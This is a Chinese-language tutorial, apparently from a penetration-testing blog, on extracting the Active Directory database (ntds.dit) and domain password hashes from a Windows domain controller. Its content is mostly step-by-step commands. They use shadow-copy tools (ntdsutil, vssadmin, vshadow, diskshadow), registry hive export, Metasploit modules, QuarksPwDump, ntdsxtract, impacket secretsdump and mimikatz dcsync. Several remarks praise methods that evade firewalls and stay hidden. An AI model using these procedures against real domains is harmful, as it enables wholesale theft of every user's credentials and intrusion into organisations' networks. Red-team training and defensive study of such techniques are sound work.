一、介绍
Ntds.dit(也被称为Active Directory database)包含了当前域用户中所有的用户的账号信息,和其HASH值,默认路径为:C:\Windows\NTDS,且只能通过域控制器进程和协议访问。

直接复制是复制不出来的,会提示文件已在Encrypting File System(EFS)中打开

二、Ntdsutil工具提取
- Ntdsutil介绍:
ntdsutil.exe是一个Active Directory提供管理设施的命令行工具。可使用ntdsutil.exe执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导(DCPromp.exe)成功降级的域控制器留下的元数据,该工具默认被安装在域控制器上,我们可以在域控制器上进行操作,也可以通过域内机器远程在域控制器上操作
支持的操作系统:Server 2003、Server 2008、Server 2012
- 创建快照:
1 | ntdsutil snapshot "activate instance ntds" create quit quit |

- 查看快照是否创建成功:
1 | ntdsutil snapshot "List All" quit quit |

- 挂载快照:
1 | ntdsutil snapshot "mount {GUID}" quit quit |

- 拷贝快照:
1 | copy C:\$SNAP_202202281107_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit |

- 复制文件:
这样子就可以把ntds文件复制出来了

- 卸载并删除快照:
1 | ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit |

三、vssadmin工具提取
- vssadmin介绍:
vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012
- 创建快照:
1 | vssadmin create shadow /for=c: |

- 复制文件:
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit |


- 删除快照:
1 | vssadmin delete shadows /for=c: /quiet |

四、vssown.vbs
- vssown介绍:
vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。下载地址:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
- 启动卷影复制服务:
1 | cscript vssown.vbs /start |

- 创建一个C盘的卷影副本:
1 | cscript vssown.vbs /create c |

- 列出当前卷影副本:
1 | cscript vssown.vbs /list |

- 复制文件:
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit |

- 删除卷影副本:
1 | cscript vssown.vbs /delete {ID} |

五、NTDSUTIL的IFM
将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:
1 | ntdsutil "ac i ntds" "ifm" "create full c:/test" q q |


六、Nishang
- Nishang介绍:
Nishang 是一个框架和脚本和有效负载的集合,它支持使用 PowerShell 进行攻击性安全、渗透测试和红队。 Nishang 在渗透测试的所有阶段都很有用。 其中Copy-VSS.ps1脚本,可以有效的下载地址:https://github.com/samratashok/nishang
- 导入Copy-VSS.ps1:
1 | import-module .\Copy-VSS.ps1 |

- 执行命令:
1 | Copy-vss |

七、vshadow
- vshadow介绍:
vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。因为是微软自带的,所以可以有效的Bypass防火墙。 下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/
- vshadow创建快照:
1 | vshadow.exe -p -nw C: |

- vshadow查看快照:
1 | vshadow.exe -q |

- 复制文件:
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit |

- vshadow删除快照:
1 | vshadow.exe -da |

八、diskshadow
- diskshadow介绍:
DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下DiskShadow.exe使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。事实上,因为DiskShadow的代码是由微软官方签名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中默认包含了DiskShadow。DiskShadow.exe也是可以用来操作VSS导出ntds.dit,其功能上类似vshadow。它同样是被放在了c:\windows\system32目录中,而vshadow则是被包含在windowsSDK中,实战中可能还需要想办法传到目标机器上,也就是说,diskshadow在我们实际渗透过程中更便于在目标系统上使用。diskshadow拥有交互模式和非交互模式两种,交互模式需要登录远程桌面等图形化管理方法,不利于隐蔽的进行渗透,所以我们一般使用非交互模式进行操作。因为不论是交互模式还是非交互模式都可以使用EXEC通过调取一个脚本文件执行相关命令
- diskshadow基础用法:
先写一个执行计算机的命令保存到c盘
1 | echo exec C:\Windows\System32\calc.exe > c:\command.txt |
然后使用diskshadow执行即可打开计算机,使用此方法还可以绕过很多waf,比如powershell无文件落地,因为diskshadow自带微软官方签名
1 | diskshadow.exe /s c:\command.txt |

- diskshadow提取ntds.dit:
把以下代码保存到txt并执行
1 | set context persistent nowriters |

可以看到多出来了一个盘,这个盘的windows\NTDS\文件夹是可以复制出来的

九、使用Metasploit获取域散列
msf中可能用到的模块
1 | post/windows/gather/ntds_location 该模块可查看ntds路径 |
- 模块:post/windows/gather/ntds_location
该模块可查看ntds路径,首先获取一个域控的shell

获取shell之后,使用模块进行查找路径:
1 | msf6 > search ntds |

- 模块:post/windows/gather/smart_hashdump
在线导出域账号hash(建议在2012以上使用)
1 | msf6 > search smart_hash |

- 模块:auxiliary/admin/smb/psexec_ntdsgrad
利用域管账号,导出ntds必要文件到本地
1 | msf6 > search ntds |

- 模块:post/windows/gather/ntds_grabber
利用powershell将ntds必要文件下载到本地后导出
1 | msf6 > search ntds_grabber |

十、QuarksPwDump导出域账号域散列值
- QuarksPwDump介绍:
QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker等等。
下载地址:https://github.com/tuthimi/quarkspwdump/
- 从注册表抓取System:
1 | reg save hklm\system system.hive |

- 修复ntds.dit:
1 | esentutl /p /o ntds.dit |
- QuarksPwDump导出域用户hash到log.txt:
1 | QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt |

十一、使用esedbexport恢复ntds.dit
- 安装依赖:
1 | sudo apt-get install autoconf automake autopoint libtool pkg-config |

- 安装libesedb:
下载地址:https://github.com/libyal/libesedb

进行安装
1 | wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz |

- 使用libesedb提取信息:
1 | esedbexport -m tables ntds.dit |

提取完了后会出现一个文件夹,里面存放了很多个表

- 安装ntdsxtract:
1 | git clone https://github.com/csababarta/ntdsxtract.git |

安装完成后将提取出的tds.dit.export文件夹中的datatable.3和link_table.5文件,以及System文件一起放入ntdsxtract文件夹,system文件位置在
1 | C:\Windows\System32\config |
如果复制不出来可以使用diskshadow,或者从注册表中导出
1 | reg save hklm\system system.hive |
然后使用以下命令将域内的所有用户及散列值导出到result.txt文件中
1 | python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt |
十二、使用impacket导出Hash
- 介绍:
Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,对于某些协议(如SMB1-3和MSRPC),提供协议实现本身。数据包可以从零开始构造,也可以从原始数据解析,而面向对象的API使使用深层协议层次结构变得简单。
- 下载:
1 | git clone https://github.com/SecureAuthCorp/impacket.git |
- 导出Hash:
1 | impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL |

十三、利用Dcsync获取域用户Hash
- 介绍:
Mimikatz有一个名为dcsync的功能,它利用目录复制服务直接读取ntds.dit文件检索哈希值,但是必须使用域管理员权限运行mimikatz才可以读取ntds.dit
- 使用方法:
1 | lsadump::dcsync /domain:god.org /all /csv |

- 指定某个用户:
1 | lsadump::dcsync /domain:god.org /all /user:Administrator |
